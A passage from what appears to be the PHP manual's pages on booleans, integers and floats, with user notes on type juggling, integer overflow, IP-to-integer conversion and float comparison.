On the other hand, after this code sequence:
<?php
$x=TRUE;
$y=FALSE;
$z=$y || $x;
?>

$z will be TRUE, as expected, because the || operator has higher precedence than assignment:  The code is equivalent to $z=($y OR $x).

This is why you should NEVER use the OR operator without explicit parentheses around the expression where it is being used.
geza at turigeza dot com 27-Mar-2013 03:14
// someKey is a boolean true
$array = array('someKey'=>true);

// in the following 'false' string gets converted to a boolean true
if($array['someKey'] != 'false')
    echo 'The value of someKey is '.$array['someKey'];

As a result the above will output nothing :)

if($array['someKey'] == 'false')
    echo 'The value of someKey is '.$array['someKey'];

And the above will output
The value of someKey is 1

In short true == 'false' is true.
Ivan Stojmenovic 14-Mar-2013 02:48
This is simple example how can convert String to Boolean.

<?php

// Convert string to boolean

function convertStr($str) {
    return is_string($str) ? (bool) $str : (string) $str;
}

// Example

$foo = convertStr('apple');
var_dump($foo);  // Return TRUE

$foo = convertStr(1); // Return STRING
var_dump($foo);

?>
pablo at loop-sistemas dot com dot ar 09-Aug-2011 09:22
altough it may be obvious to some, special value NaN evaluates to true, as it not in the false list

the same goes with INF and -INF
frank at interactinet dot com 02-May-2011 07:15
Be careful when assigning a value in the if statement, for example:

 if($var = $arg)

$var might be assigned "1" instead of the expected value in $arg.

<?php

public function myMethod()
{
return 'test';
}

public function myOtherMethod()
{
return null;
}

if($val = $this->myMethod())
{
 // $val might be 1 instead of the expected 'test'
}

if( ($val = $this->myMethod()) )
{
// now $val should be 'test'
}

// or to check for false
if( !($val = $this->myMethod()) )
{
// this will not run since $val = 'test' and equates to true
}

// this is an easy way to assign default value only if a value is not returned:

if( !($val = $this->myOtherMethod()) )
{
$val = 'default'
}

?>
oscar at oveas dot com 01-Dec-2010 12:17
Dunno if someone else posted this solution already, but if not, here's a useful and function to convert strings to strict booleans.
Note this one only checks for string and defaults to the PHP (boolean) cast where e.g. -1 returns true, but you easily add some elseifs for other datatypes.

<?php
function toStrictBoolean ($_val, $_trueValues = array('yes', 'y', 'true'), $_forceLowercase = true)
{
    if (is_string($_val)) {
        return (in_array(
             ($_forceLowercase?strtolower($_val):$_val)
            , $_trueValues)
        );
    } else {
        return (boolean) $_val;
    }
}
?>
ledadu at gmail dot com 27-Oct-2010 05:56
Function to sort array by elements and count of element (before php 5.3) (not use Lambda Functions, and Closures)

<?php

//-----------------------------

function arraySortByElements($array2sort,$sortField,$order,$iscount=false) {

        $functionString='
        if ('.($iscount?'true':'false').'){
              if(count($a["'.$sortField.'"]) > count($b["'.$sortField.'"])) return 1*'.$order.';
            if(count($a["'.$sortField.'"]) < count($b["'.$sortField.'"])) return -1*'.$order.';
          }else{
            if($a["'.$sortField.'"] > $b["'.$sortField.'"]) return 1*'.$order.';
            if($a["'.$sortField.'"] < $b["'.$sortField.'"]) return -1*'.$order.';
          }
        return 0;';

     usort($array2sort, create_function('$a,$b',$functionString));
     return $array2sort;
}

//-----------------------------

//init Array for testing :
$testArray = array(
          array('name' => 'Lenny', 'note' => 5, 'listId' => array(654,987,32165)),
          array('name' => 'Olivier', 'note' =>3, 'listId' => array(2)),
          array('name' => 'Gregory', 'note' => 1, 'listId' => array(45,58)),
          array('name' => 'Clement', 'note' => 2, 'listId' => array(584,587,741,14781,147))
        );

//sorted Arrays :
        $testArrayByNameASC = arraySortByElements($testArray,'name',1);
        $testArrayByNoteDESC = arraySortByElements($testArray,'note',-1);
        $testArrayByCountlistIdDESC = arraySortByElements($testArray,'listId',-1,true);

?>
fyrye at torntech dot com 14-Jun-2010 01:39
Since I haven't seen it posted.
Here is a function that you can use if you have a need to force strict boolean values.
Hopefully this will save someone some time from searching for similar.
<?php
function strictBool($val=false){
    return is_integer($val)?false:$val == 1;
}
?>

Simply put, it verifies that the value passed is (bool)true otherwise it's false.

Examples:
__________________________________
<?php
$myBool = strictBool(true);
var_dump($myBool);
//returns (bool)true

$myar = array(0 => true);
$myBool = strictBool($myar[0]);
var_dump($myBool);
//returns (bool)true

$myBool = strictBool("hello");
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(false);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(array(0 => "hello"));
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(1);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool();
var_dump($myBool);
//returns (bool)false
?>
mercusmaximus at yahoo dot com 06-Feb-2010 10:50
Note that the comparison: (false == 0) evaluates to true and so will any value you set to false as well (without casting).
Symbol 11-Apr-2009 10:35
Just a side note, doesn't really matters, the reason -1 is true and not false is because boolean type is treated as unsigned, so -1 would be for example, if it's unsigned int32 translate to hex: 0xFFFFFFFF and back to decimal: 4294967295 which is non-zero. there isn't really a "negative boolean". it's a binary thing. :o (since it used to be a bit and then there was only 0 and 1 as an option)
russell dot harper at springboardnetworks dot com 02-Apr-2009 03:27
PHP is very fussy converting strings to booleans. The only ones it recognizes are '0' or '', everything else evaluates to TRUE, even 'false' and '0.0' are evaluated as true! I suppose this can't be fixed without breaking a lot of existing code.

Example:

<?php

print 'yes'."\t".((bool)'yes'? 1: 0)."\n";
print 'true'."\t".((bool)'true'? 1: 0)."\n";
print 'no'."\t".((bool)'no'? 1: 0)."\n";
print 'false'."\t".((bool)'false'? 1: 0)."\n";
print '1'."\t".((bool)'1'? 1: 0)."\n";
print '0'."\t".((bool)'0'? 1: 0)."\n";
print '0.0'."\t".((bool)'0.0'? 1: 0)."\n";
print ''."\t".((bool)''? 1: 0)."\n";

?>

Output:

yes     1
true    1
no      1
false   1
1       1
0       0
0.0     1
        0
ashafer01 at gmail dot com 26-Feb-2009 04:59
A note when working with PostgreSQL - if you select a boolean field from the database, it returns 't' or 'f'. If you directly evaluate a variable storing a boolean from a PostgreSQL database, it will always return true.

For example...

<?php
$x = pg_query("SELECT someBool FROM atable");
$x = pg_fetch_array($x);
$x = $x['someBool'];

if ($x) echo "true";
else echo "false";
?>

...ALWAYS outputs true
admin at eexit dot fr 04-Nov-2008 09:27
Beware of certain control behavior with boolean and non boolean values :

<?php
// Consider that the 0 could by any parameters including itself
var_dump(0 == 1); // false
var_dump(0 == (bool)'all'); // false
var_dump(0 == 'all'); // TRUE, take care
var_dump(0 === 'all'); // false

// To avoid this behavior, you need to cast your parameter as string like that :
var_dump((string)0 == 'all'); // false
?>
wbcarts at juno dot com 06-Oct-2008 08:59
CODING PRACTICE...

Much of the confusion about booleans (but not limited to booleans) is the fact that PHP itself automatically makes a type cast or conversion for you, which may NOT be what you want or expect. In most cases, it's better to provide functions that give your program the exact behavior you want.
<?php

function boolNumber($bValue = false) {                      // returns integer
  return ($bValue ? 1 : 0);
}

function boolString($bValue = false) {                      // returns string
  return ($bValue ? 'true' : 'false');
}

$a = true;                                                  // boolean value
echo 'boolean $a AS string = ' . boolString($a) . '<br>';   // boolean as a string
echo 'boolean $a AS number = ' . boolNumber($a) . '<br>';   // boolean as a number
echo '<br>';

$b = (45 > 90);                                             // boolean value
echo 'boolean $b AS string = ' . boolString($b) . '<br>';   // boolean as a string
echo 'boolean $b AS number = ' . boolNumber($b) . '<br>';   // boolean as a number
echo '<br>';

$c = boolNumber(10 > 8) + boolNumber(!(5 > 10));            // adding booleans
echo 'integer $c = ' . $c .'<br>';

?>
Results in the following being printed...

 boolean $a AS string = true
 boolean $a AS number = 1

 boolean $b AS string = false
 boolean $b AS number = 0

 integer $c = 2

In other words, if we know what we want out of our program, we can create functions to accommodate. Here, we just wanted 'manual control' over numbers and strings, so that PHP doesn't confuse us.
Wackzingo 27-Jan-2008 03:39
It is correct that TRUE or FALSE should not be used as constants for the numbers 0 and 1. But there may be times when it might be helpful to see the value of the Boolean as a 1 or 0. Here's how to do it.

<?php
$var1 = TRUE;
$var2 = FALSE;

echo $var1; // Will display the number 1

echo $var2; //Will display nothing

/* To get it to display the number 0 for
a false value you have to typecast it: */

echo (int)$var2; //This will display the number 0 for false.
?>
Steve 16-Jan-2008 12:00
PHP does not break any rules with the values of true and false.  The value false is not a constant for the number 0, it is a boolean value that indicates false.  The value true is also not a constant for 1, it is a special boolean value that indicates true.  It just happens to cast to integer 1 when you print it or use it in an expression, but it's not the same as a constant for the integer value 1 and you shouldn't use it as one.  Notice what it says at the top of the page:

A boolean expresses a truth value.

It does not say "a boolean expresses a 0 or 1".

It's true that symbolic constants are specifically designed to always and only reference their constant value.  But booleans are not symbolic constants, they are values.  If you're trying to add 2 boolean values you might have other problems in your application.
Anonymous 06-Jan-2008 04:05
Note that the symbolic constants TRUE and FALSE are treated differently.  I was told that this is a feature, not a bug.

echo false ;
echo (false) ;
echo false+false ;
echo (false+false) ;
echo intval(false) ;
echo '"'.false.'"' ;

echo true ;
echo (true) ;
echo true+true ;
echo (true+true) ;
echo intval(true) ;
echo '"'.true.'"' ;

should produce

00000"0"11221"1"

but instead produces

000""11221"1"

In other words, the only way to output the underlying zero or use it in a string is to use 'false+false' or pass it through intval().  No such tricks are required to get at the 1 that underlies true.

The whole idea of symbolic constants is that the underlying value *always* replaces them during translation, and thus anywhere you would otherwise have to use some obscure "magic number" such as 191, you can use a symbolic constant that makes sense, such as TOTAL_NATIONS.

Exactly what php gets out of breaking this rule was not explained to me.
artktec at gmail dot com 27-Sep-2007 06:37
Note you can also use the '!' to convert a number to a boolean, as if it was an explicit (bool) cast then NOT.

So you can do something like:

<?php
$t = !0; // This will === true;
$f = !1; // This will === false;
?>

And non-integers are casted as if to bool, then NOT.

Example:

<?php
$a = !array();      // This will === true;
$a = !array('a');   // This will === false;
$s = !"";           // This will === true;
$s = !"hello";      // This will === false;
?>

To cast as if using a (bool) you can NOT the NOT with "!!" (double '!'), then you are casting to the correct (bool).

Example:

<?php
$a = !!array();   // This will === false; (as expected)
/*
This can be a substitute for count($array) > 0 or !(empty($array)) to check to see if an array is empty or not  (you would use: !!$array).
*/

$status = (!!$array ? 'complete' : 'incomplete');

$s = !!"testing"; // This will === true; (as expected)
/*
Note: normal casting rules apply so a !!"0" would evaluate to an === false
*/
?>
terminatorul at gmail dot com 29-Apr-2007 11:21
Beware that "0.00" converts to boolean TRUE !

You may get such a string from your database, if you have columns of type DECIMAL or CURRENCY. In such cases you have to explicitly check if the value is != 0 or to explicitly convert the value to int also, not only to boolean.


Integers

An integer is a number of the set ℤ = {..., -2, -1, 0, 1, 2, ...}.

See also:

  • Arbitrary length integer / GMP
  • Floating point numbers
  • Arbitrary precision / BCMath

Syntax

Integers can be specified in decimal (base 10), hexadecimal (base 16), octal (base 8) or binary (base 2) notation, optionally preceded by a sign (- or +).

Binary integer literals are available since PHP 5.4.0.

To use octal notation, precede the number with a 0 (zero). To use hexadecimal notation precede the number with 0x. To use binary notation precede the number with 0b.

Example #1 Integer literals

<?php
$a = 1234; // decimal number
$a = -123; // a negative number
$a = 0123; // octal number (equivalent to 83 decimal)
$a = 0x1A; // hexadecimal number (equivalent to 26 decimal)
$a = 0b11111111; // binary number (equivalent to 255 decimal)
?>

Formally, the structure for integer literals is:

decimal     : [1-9][0-9]*
            | 0

hexadecimal : 0[xX][0-9a-fA-F]+

octal       : 0[0-7]+

binary      : 0b[01]+

integer     : [+-]?decimal
            | [+-]?hexadecimal
            | [+-]?octal
            | [+-]?binary

The size of an integer is platform-dependent, although a maximum value of about two billion is the usual value (that's 32 bits signed). 64-bit platforms usually have a maximum value of about 9E18, except for Windows, which is always 32 bit. PHP does not support unsigned integers. Integer size can be determined using the constant PHP_INT_SIZE, and maximum value using the constant PHP_INT_MAX since PHP 4.4.0 and PHP 5.0.5.

Warning

If an invalid digit is given in an octal integer (i.e. 8 or 9), the rest of the number is ignored.

Example #2 Octal weirdness

<?php
var_dump(01090); // 010 octal = 8 decimal
?>

Integer overflow

If PHP encounters a number beyond the bounds of the integer type, it will be interpreted as a float instead. Also, an operation which results in a number beyond the bounds of the integer type will return a float instead.

Example #3 Integer overflow on a 32-bit system

<?php
$large_number = 2147483647;
var_dump($large_number);                     // int(2147483647)

$large_number = 2147483648;
var_dump($large_number);                     // float(2147483648)

$million = 1000000;
$large_number =  50000 * $million;
var_dump($large_number);                     // float(50000000000)
?>

Example #4 Integer overflow on a 64-bit system

<?php
$large_number = 9223372036854775807;
var_dump($large_number);                     // int(9223372036854775807)

$large_number = 9223372036854775808;
var_dump($large_number);                     // float(9.2233720368548E+18)

$million = 1000000;
$large_number =  50000000000000 * $million;
var_dump($large_number);                     // float(5.0E+19)
?>

There is no integer division operator in PHP. 1/2 yields the float 0.5. The value can be casted to an integer to round it downwards, or the round() function provides finer control over rounding.

<?php
var_dump(25/7);         // float(3.5714285714286)
var_dump((int) (25/7)); // int(3)
var_dump(round(25/7));  // float(4)
?>

Converting to integer

To explicitly convert a value to integer, use either the (int) or (integer) casts. However, in most cases the cast is not needed, since a value will be automatically converted if an operator, function or control structure requires an integer argument. A value can also be converted to integer with the intval() function.

If a resource is converted to an integer, then the result will be the unique resource number assigned to the resource by PHP at runtime.

See also Type Juggling.

From booleans

FALSE will yield 0 (zero), and TRUE will yield 1 (one).

From floating point numbers

When converting from float to integer, the number will be rounded towards zero.

If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31 on 32-bit platforms and +/- 9.22e+18 = 2^63 on 64-bit platforms other than Windows), the result is undefined, since the float doesn't have enough precision to give an exact integer result. No warning, not even a notice will be issued when this happens!

Warning

Never cast an unknown fraction to integer, as this can sometimes lead to unexpected results.

<?php
echo (int) ( (0.1+0.7) * 10 ); // echoes 7!
?>

See also the warning about float precision.

From strings

See String conversion to numbers

From other types

Caution

The behaviour of converting to integer is undefined for other types. Do not rely on any observed behaviour, as it can change without notice.

User Contributed Notes

Kalimuthu Aruchamy 09-Sep-2014 11:58
<?php
echo "<br>".(int) ( (0.1+0.7) * 10 ); // echoes 7. Wrong. I think this is bug in PHP. It works fine for below expressions
echo "<br>".(int) ( (0.2+0.7) * 10 ); // echoes 9. Right
echo "<br>".(int) ( (0.3+0.7) * 10 ); // echoes 10. Right
echo "<br>".(int) ( (0.4+0.7) * 10 ); // echoes 11. Right
?>
Alex 21-Feb-2014 07:22
"The behaviour of converting to integer is undefined for other types. Do not rely on any observed behaviour, as it can change without notice."

actually i use type casting to output Boolean like this:

<?php
echo (int)(function_exists('imagecreatetruecolor'));
?>

so i see 0 or 1 in output
php at richardneill dot org 01-Mar-2013 03:25
A leading zero in a numeric literal means "this is octal". But don't be confused: a leading zero in a string does not. Thus:
$x = 0123;          // 83
$y = "0123" + 0     // 123
Richard 17-Apr-2011 06:53
Integer arithmetic in PHP is more accurate than one might think. On a 32-bit system, the largest value that can be held in an INT is  2147483647.
However, a FLOAT can accurately hold integer values up to 10000000000000.
(this is because the significand precision of a double is 53-bits).
php at keith tyler dot com 13-Apr-2011 08:08
If you need to convert a numeric string (or more to the point, an object that represents a numeric value) that is greater then PHP_INT_MAX, and you don't have GMP or BCMath installed, you can cast to float.

For example, when using SimpleXMLElement, you sometimes have to cast the extracted values, such as xml attributes, because they are returned as SimpleXMLElements and not their values' native types. While print() has no trouble with converting them, other functions, such as max(), might not.

But if you cast such a value with (int), and it is over PHP_INT_MAX, you will just get PHP_INT_MAX (and vice versa for negative numbers).

The Q&D no-muss solution is to cast to (float) instead.
pere dot cil at wanadoo dot fr 15-Mar-2011 10:59
Please also note that the maximum stored in the integer depends on the platform / compilation; on windows xp 32 bits, the following value:

0x5468792130ABCDEF

echoes to:

6.0822444802213E+18 (cast to float)

On a fully 64 bits system, it echoes to:

6082244480221302255
iletras at yahoo dot com 11-Oct-2010 05:19
//This is a (simpler ?) function to return number of digits of an integer.

//function declaration
function count_digit($number) {
  return  strlen((string) $number);
}

//function call
$num = 12312;
$number_of_digits = count_digit($num); //this is call :)
echo $number_of_digits;
//prints 5
sean dot gilbertson at gmail dot com 08-Jan-2009 10:57
You can make a signed, negative integer an unsigned integer (in string form) by doing the following:

<?php
$unsigned = sprintf('%u', -5);

echo $unsigned; // prints 4294967291
?>
Hamza Burak Ylmaz 24-Oct-2008 11:36
<?php
//This is a simple function to return number of digits of an integer.

//function declaration
function count_digit($number)
{
    $digit = 0;
    do
    {
        $number /= 10;      //$number = $number / 10;
        $number = intval($number);
        $digit++;
    }while($number!=0);
    return $digit;
}

//function call
$num = 12312;
$number_of_digits = count_digit($num); //this is call :)
echo $number_of_digits;
//prints 5
?>
wbcarts at juno dot com 07-Oct-2008 03:25
PHP offers a slew of built-in functions and automatic type-casting routines which can get pretty complicated. But most of the time, you still have to take matters into your own hands and allow PHP to do its thing. In that case, and something that has NOT been mentioned, is how to construct your code. To keep things simple, I divide all my scripts in half. The top half gives my scripts the "capability" they need, and the lower half is the actual code to be "run" or "executed".

<?php
/*
 * build the program's capability - define variables and functions...
 */
$item_label = '';        // type string
$item_price = 0.0;       // type float
$item_qty = 1;           // type integer
$item_total = 0.0;       // type float - to set use calculate()

function calculate(){
  global $item_price, $item_qty, $item_total;
  $item_price = number_format($item_price, 2);
  $item_total = number_format(($item_price * $item_qty), 2);
}

function itemToString() {
  global $item_label, $item_price, $item_qty, $item_total;
  return "$item_label [price=\$$item_price, qty=$item_qty, total=\$$item_total]";
}

/*
 * run the program - set data, call methods...
 */
$item_label = "Coffee";
$item_price = 3.89;
$item_qty = 2;
calculate();           // set $item_total
echo itemToString();   // -> Coffee [price=$3.89, qty=2, total=$7.78]

$item_label = "Chicken";
$item_price = .80;     // per lb.
$item_qty = 3.5;       // lbs.
calculate();           // set $item_total
echo itemToString();   // -> Chicken [price=$0.80, qty=3.5, total=$2.80]
?>
Note: All type-casting is done by PHP's built-in number_format() method. This allows our program to enter any number (float or int) on item price or quantity in the runtime part of our script. Also, if we explicitly cast values to integer in the capability part of our script, then we start getting results that may not be desirable for this program. For example, if in the calculate method we cast item_qty to integer, then we can no longer sell chicken by the pound!
eric 11-Jun-2008 10:50
In response to the comment by me at troyswanson dot net:

-2147483648 falls into the range of 32 bit signed integers yet php treats it as a float.  However, -2147483647-1 is treated as an integer.

The following code demonstrates:
<?php
    var_dump(-2147483648); //float(-2147483648)
    var_dump(-2147483647 - 1); //int(-2147483648)
?>

This is probably very similar to the MS C bug which also treats -2147483648 as an UNSIGNED because it thinks it's out of the range of a signed int.

The problem is that the parser does not view "-x" as a single token, but rather as two, "-" and "x".  Since "x" is out of the range of an INT, it is promoted to float, even though in this unique case, "-x" is in the range of an int.

The best cure is probably to replace "-2147483648" with "0x80000000", as that is the hexadecimal equivalent of the same number.

Hope that helps explain what's going on

Peace

 - Eric / fez
winterheat 11-Jun-2008 12:25
PHP_INT_SIZE seems to be 8 when it is 64 bit integers... so 8 means the number of bytes, or number of 8-bits.
autotelic at NOOOOSPAM dot hotmail dot com 29-Nov-2007 07:36
A note about converting IP addresses for storage in database.  For MySQL, this is unnecessary as it has built in support via the INET functions.  Also, there is no need to use BIGINT.  UNSIGNED INT is, at 4 bytes, the perfect size for holding an IP (column must be defined as UNSIGNED).  This can basically halve the storage size, as BIGINT is an 8 byte data type.

INET_ATON() converts a dotted IP string to INT:
INSERT table(ip) VALUES(INET_ATON('127.0.0.1'));

INET_NTOA() converts an INT to dotted IP string:
SELECT INET_NTOA(ip) FROM table
returns '127.0.0.1'

Details:
http://dev.mysql.com/doc/refman/5.1/en/miscellaneous-functions.html
darkshire 16-Nov-2007 01:56
d_n at NOSPAM dot Loryx dot com
13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

This can be written in a bit more efficient way:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0]<<24
            + $ipArr[1]<<16
            + $ipArr[2] <<8
            + $ipArr[3]
            ;
?>

shift is more cheaper.
Paul 04-Sep-2007 08:46
"always round it downwards"

It seems to truncate, or round toward zero, rather than downward. If the float is negative, it is rounded up.
d_n at NOSPAM dot Loryx dot com 13-Aug-2007 02:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

IP as BIGINT read from db back to dotted form:

Keep in mind, PHP integer operators are INTEGER -- not long. Also, since there is no integer divide in PHP, we save a couple of S-L-O-W floor (<division>)'s by doing bitshifts. We must use floor(/) for $ipArr[0] because though $ipVal is stored as a long value, $ipVal >> 24 will operate on a truncated, integer value of $ipVal! $ipVint is, however, a nice integer, so
we can enjoy the bitshifts.

<?php
        $ipVal = $row['client_IP'];
        $ipArr = array(0 =>
                    floor(  $ipVal               / 0x1000000) );
        $ipVint   = $ipVal-($ipArr[0]*0x1000000); // for clarity
        $ipArr[1] = ($ipVint & 0xFF0000)  >> 16;
        $ipArr[2] = ($ipVint & 0xFF00  )  >> 8;
        $ipArr[3] =  $ipVint & 0xFF;
        $ipDotted = implode('.', $ipArr);
?>
Jacek 10-Mar-2007 01:51
On 64 bits machines max integer value is 0x7fffffffffffffff (9 223 372 036 854 775 807).
09-Mar-2007 04:26
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
echo(dechex("2724838310"));
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
echo(dechex("2724838310"+0));
will print 'A269BBA6'
popefelix at gmail dot com 21-Dec-2006 03:50
Be careful when using integer conversion to test something to see if it evaluates to a positive integer or not.  You might get unexpected behaviour.

To wit:
<?php
error_reporting(E_ALL);
require_once 'Date.php';

$date = new Date();
print "\$date is an instance of " . get_class($date) . "\n";
$date += 0;
print "\$date is now $date\n";
var_dump($date);

$foo = new foo();
print "\$foo is an instance of " . get_class($foo) . "\n";
$foo += 0;
print "\$foo is now $foo\n";
var_dump($foo);

class foo {
    var $bar = 0;
    var $baz = "la lal la";
    var $bak;

    function foo() {
        $bak = 3.14159;
    }
}
?>

After the integer conversion, you might expect both $foo and $date to evaluate to 0.  However, this is not the case:

$date is an instance of Date

Notice: Object of class Date could not be converted to int in /home/kpeters/work/sketches/ObjectSketch.php on line 7
$date is now 1
int(1)
$foo is an instance of foo

Notice: Object of class foo could not be converted to int in /home/kpeters/work/sketches/ObjectSketch.php on line 13
$foo is now 1
int(1)

This is because the objects are first converted to boolean before being converted to int.
rustamabd@gmail-you-know-what 12-Dec-2006 10:42
Be careful with using the modulo operation on big numbers, it will cast a float argument to an int and may return wrong results. For example:
<?php
    $i = 6887129852;
    echo "i=$i\n";
    echo "i%36=".($i%36)."\n";
    echo "alternative i%36=".($i-floor($i/36)*36)."\n";
?>
Will output:
i=6.88713E+009
i%36=-24
alternative i%36=20
jmw254 at cornell dot edu 25-Aug-2006 07:14
Try this one instead:

function iplongtostring($ip)
{
    $ip=floatval($ip); // otherwise it is capped at 127.255.255.255

    $a=($ip>>24)&255;
    $b=($ip>>16)&255;
    $c=($ip>>8)&255;
    $d=$ip&255;

    return "$a.$b.$c.$d";
}
rickard_cedergren at yahoo dot com 27-Jan-2005 10:15
When doing large subtractions on 32 bit unsigned integers the result sometimes end up negative. My example script converts a IPv4 address represented as a 32 bit unsigned integer to a dotted quad (similar to ip2long()), and adds a "fix" to the operation.

   /**************************
    * int_oct($ip)
    * Convert INTeger rep of IP to octal (dotted quad)
    */
   function int_oct($ip) {

      /* Set variable to float */
      settype($ip, float);

      /* FIX for silly PHP integer syndrome */
      $fix = 0;
      if($ip > 2147483647) $fix = 16777216;

      if(is_numeric($ip)) {
         return(sprintf("%u.%u.%u.%u",
                $ip / 16777216,
                (($ip % 16777216) + $fix) / 65536,
                (($ip % 65536) + $fix / 256) / 256,
                ($ip % 256) + $fix / 256 / 256
                )
     );
      }
      else {
         return('');
      }
   }
23-Dec-2003 07:18
Sometimes you need to parse an unsigned
32 bit integer. Here's a function I 've used:

    function parse_unsigned_int($string) {
        $x = (float)$string;
        if ($x > (float)2147483647)
            $x -= (float)"4294967296";
        return (int)$x;
    }


Floating point numbers

Floating point numbers (also known as "floats", "doubles", or "real numbers") can be specified using any of the following syntaxes:

<?php
$a = 1.234;
$b = 1.2e3;
$c = 7E-10;
?>

Formally:

LNUM          [0-9]+
DNUM          ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM})

The size of a float is platform-dependent, although a maximum of ~1.8e308 with a precision of roughly 14 decimal digits is a common value (the 64 bit IEEE format).

Warning

Floating point precision

Floating point numbers have limited precision. Although it depends on the system, PHP typically uses the IEEE 754 double precision format, which will give a maximum relative error due to rounding in the order of 1.11e-16. Non elementary arithmetic operations may give larger errors, and, of course, error propagation must be considered when several operations are compounded.

Additionally, rational numbers that are exactly representable as floating point numbers in base 10, like 0.1 or 0.7, do not have an exact representation as floating point numbers in base 2, which is used internally, no matter the size of the mantissa. Hence, they cannot be converted into their internal binary counterparts without a small loss of precision. This can lead to confusing results: for example, floor((0.1+0.7)*10) will usually return 7 instead of the expected 8, since the internal representation will be something like 7.9999999999999991118....

So never trust floating number results to the last digit, and do not compare floating point numbers directly for equality. If higher precision is necessary, the arbitrary precision math functions and gmp functions are available.

For a "simple" explanation, see the » floating point guide that's also titled "Why don’t my numbers add up?"

Converting to float

For information on converting strings to float, see String conversion to numbers. For values of other types, the conversion is performed by converting the value to integer first and then to float. See Converting to integer for more information. As of PHP 5, a notice is thrown if an object is converted to float.

Comparing floats

As noted in the warning above, testing floating point values for equality is problematic, due to the way that they are represented internally. However, there are ways to make comparisons of floating point values that work around these limitations.

To test floating point values for equality, an upper bound on the relative error due to rounding is used. This value is known as the machine epsilon, or unit roundoff, and is the smallest acceptable difference in calculations.

$a and $b are equal to 5 digits of precision.

<?php
$a = 1.23456789;
$b = 1.23456780;
$epsilon = 0.00001;

if(abs($a-$b) < $epsilon) {
    echo "true";
}
?>

NaN

Some numeric operations can result in a value represented by the constant NAN. This result represents an undefined or unrepresentable value in floating-point calculations. Any loose or strict comparisons of this value against any other value, including itself, will have a result of FALSE.

Because NAN represents any number of different values, NAN should not be compared to other values, including itself, and instead should be checked for using is_nan().

User Contributed Notes

Adam H 03-Oct-2014 11:35
I've just come across this issue with floats when writing a function for pricing. When converting from string to a float, with 2 digits of precision, the issue with comparing floats can pop up and give inconsistent results due to the conversion process.

An easier way rather than relying on the mentioned epsilon method is to use number_format (at least for me as I'll remember it!).

Example function that can return an unexpected result:

if((float)$a == (float)$b) {
echo true;
} else {
echo false;
}

echo's false in this example.

Using number format here to trim down the precision (2 point precision being mostly used for currencies etc, although higher precisions should be correctly catered for by number_format), will return an expected result:

if(number_format((float)$a, 2) == number_format((float)$b, 2)) {
echo true;
} else {
echo false;
}

Correctly echo's true.
catalin dot luntraru at gmail dot com 19-Nov-2013 12:44
$x = 8 - 6.4;  // which is equal to 1.6
$y = 1.6;
var_dump($x == $y); // is not true

PHP thinks that 1.6 (coming from a difference) is not equal to 1.6. To make it work, use round()

var_dump(round($x, 2) == round($y, 2)); // this is true

This happens probably because $x is not really 1.6, but 1.599999.. and var_dump shows it to you as being 1.6.
jack at surfacefinishtech dot com 26-Jan-2013 04:40
<?php
/** hex2float
 * (Convert 8 digit hexadecimal value to float (single-precision 32bits)
 * Accepts 8 digit hexadecimal values in a string
 * @usage:
 * hex2float32n("429241f0"); returns -> "73.128784179688"
 * */
function hex2float($number) {
    $binfinal = sprintf("%032b",hexdec($number));
    $sign = substr($binfinal, 0, 1);
    $exp = substr($binfinal, 1, 8);
    $mantissa = "1".substr($binfinal, 9);
    $mantissa = str_split($mantissa);
    $exp = bindec($exp)-127;
    $significand=0;
    for ($i = 0; $i < 24; $i++) {
        $significand += (1 / pow(2,$i))*$mantissa[$i];
    }
    return $significand * pow(2,$exp) * ($sign*-2+1);
}
?>
pcunha at gmail dot com 23-Oct-2012 11:12
To simply convert 32 bits float from hex to float:

<?php
function hexfloat ($hex){
    return (unpack("f", pack('H*',$hex))[1]);
}
?>

This may be useful for arduino interface with php.
davidszilardd at gmail dot com 24-Apr-2012 07:58
The function returns 5 for 5,000 because if there is no decimal point, then the first strpos will be FALSE, and FALSE < 1 is TRUE so the condition will be still true.

It should be checked whether strpos returns a valid position:

<?php
function str2num($str)
{
      if (strpos($str, '.') !== FALSE && strpos($str,    ',') !== FALSE && strpos($str, '.') < strpos($str,','))
          {
            $str = str_replace('.','',$str);
            $str = strtr($str,',','.');
        }
        else
        {
            $str = str_replace(',','',$str);
        }

        return (float)$str;
}
?>
reinaldorock at yahoo dot com dot br 14-Oct-2011 04:12
Convert locale string into float number

<?php
function str2num($str){
  if(strpos($str, '.') < strpos($str,',')){
            $str = str_replace('.','',$str);
            $str = strtr($str,',','.');
        }
        else{
            $str = str_replace(',','',$str);
        }
        return (float)$str;
}

str2num('25,01'); //25.01
str2num('2.5,01'); //25.01
str2num('25.01'); //25.01
str2num('2,5.01'); //25.01
?>
zelko at mojeime dot com 31-Mar-2011 10:02
<?php
   $binarydata32 = pack('H*','00000000');
   $float32 = unpack("f", $binarydata32); // 0.0

   $binarydata64 = pack('H*','0000000000000000');
   $float64 = unpack("d", $binarydata64); // 0.0
?>

I get 0 both for 32-bit and 64-bit numbers.

But, please don't use your own "functions" to "convert" from float to binary and vice versa. Looping performance in PHP is horrible. Using pack/unpack you use processor's encoding, which is always correct. In C++ you can access the same 32/64 data as either float/double or 32/64 bit integer. No "conversions".

To get binary encoding:
<?php
